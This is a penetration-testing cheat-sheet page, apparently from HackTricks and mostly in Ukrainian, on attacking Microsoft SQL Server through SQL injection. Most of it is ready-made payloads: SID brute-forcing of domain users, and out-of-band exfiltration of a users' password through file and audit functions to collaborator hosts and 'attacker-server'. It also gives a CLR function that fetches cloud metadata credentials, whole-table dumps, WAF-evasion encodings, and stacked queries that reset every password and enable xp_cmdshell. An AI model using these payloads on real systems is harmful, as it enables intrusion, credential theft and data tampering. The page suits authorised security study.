MSSQL Injection

Support HackTricks

Active Directory enumeration

Можливо, перерахувати користувачів домену через SQL-ін'єкцію всередині сервера MSSQL, використовуючи наступні функції MSSQL:

  • SELECT DEFAULT_DOMAIN(): Отримати назву поточного домену.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Якщо ви знаєте назву домену (DOMAIN в цьому прикладі), ця функція поверне SID користувача Administrator у шістнадцятковому форматі. Це виглядатиме як 0x01050000000[...]0000f401, зверніть увагу, як останні 4 байти є числом 500 у форматі big endian, що є загальним ID користувача адміністратора. Ця функція дозволить вам дізнатися ID домену (всі байти, крім останніх 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Ця функція поверне ім'я користувача вказаного ID (якщо є), в даному випадку 0000e803 у big endian == 1000 (зазвичай це ID першого створеного звичайного користувача). Тоді ви можете уявити, що можете перебрати ID користувачів з 1000 до 2000 і, ймовірно, отримати всі імена користувачів домену. Наприклад, використовуючи функцію, подібну до наступної:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Альтернативні вектори на основі помилок

Помилки на основі SQL-ін'єкцій зазвичай нагадують конструкції, такі як +AND+1=@@version-- та варіанти, засновані на операторі «OR». Запити, що містять такі вирази, зазвичай блокуються WAF. Як обхідний шлях, об'єднайте рядок, використовуючи символ %2b, з результатом конкретних викликів функцій, які викликають помилку перетворення типу даних на потрібних даних.

Деякі приклади таких функцій:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Приклад використання функції USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ці трюки SSRF були взяті звідси

fn_xe_file_target_read_file

Вимагає VIEW SERVER STATE дозволу на сервері.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Вимагає дозволу CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Це вимагає дозволу CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Збережені процедури, такі як xp_dirtree, хоча й неофіційно задокументовані Microsoft, були описані іншими в Інтернеті через їхню корисність у мережевих операціях в MSSQL. Ці процедури часто використовуються в Out of Band Data exfiltration, як показано в різних прикладах та постах.

Збережена процедура xp_dirtree, наприклад, використовується для виконання мережевих запитів, але вона обмежена лише TCP портом 445. Номер порту не підлягає зміні, але дозволяє читати з мережевих загальних папок. Використання демонструється в SQL-скрипті нижче:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Зазначимо, що цей метод може не працювати на всіх конфігураціях систем, таких як Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64), що працює на Windows Server 2016 Datacenter з налаштуваннями за замовчуванням.

Крім того, існують альтернативні збережені процедури, такі як master..xp_fileexist та xp_subdirs, які можуть досягти подібних результатів. Додаткову інформацію про xp_fileexist можна знайти в цій статті TechNet.

xp_cmdshell

Очевидно, ви також можете використовувати xp_cmdshell для виконання чогось, що викликає SSRF. Для отримання додаткової інформації прочитайте відповідний розділ на сторінці:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Створення CLR UDF (User Defined Function для загального середовища виконання), що є кодом, написаним будь-якою мовою .NET і скомпільованим у DLL, для завантаження в MSSQL для виконання користувацьких функцій, є процесом, що вимагає доступу dbo. Це означає, що зазвичай це можливо лише тоді, коли з'єднання з базою даних здійснюється як sa або з роллю адміністратора.

Проект Visual Studio та інструкції з установки надані в цьому репозиторії Github для полегшення завантаження бінарного файлу в MSSQL як CLR збірки, що дозволяє виконувати HTTP GET запити зсередини MSSQL.

Суть цієї функціональності закладена у файлі http.cs, який використовує клас WebClient для виконання GET запиту та отримання вмісту, як показано нижче:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Перед виконанням SQL-команди CREATE ASSEMBLY рекомендується виконати наступний SQL-фрагмент, щоб додати SHA512 хеш збірки до списку довірених збірок сервера (доступний через select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Після успішного додавання збірки та створення функції, наступний SQL код може бути використаний для виконання HTTP запитів:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Швидка експлуатація: Отримання вмісту всієї таблиці в одному запиті

Трюк звідси.

Стисла методика для витягування повного вмісту таблиці в одному запиті передбачає використання клаузи FOR JSON. Цей підхід є більш лаконічним, ніж використання клаузи FOR XML, яка вимагає специфічного режиму, такого як "raw". Клаузу FOR JSON віддають перевагу за її стислість.

Ось як отримати схему, таблиці та стовпці з поточної бази даних:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Can be reduced to:

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Додавання безглуздого exec() в кінці та змушування WAF думати, що це не дійсний запит
admina'union select 1,'admin','testtest123'exec('select 1')--
## Це буде:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Використання дивно побудованих запитів
admin'exec('update[users]set[password]=''a''')--
## Це буде:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Або увімкнення xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Це буде
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated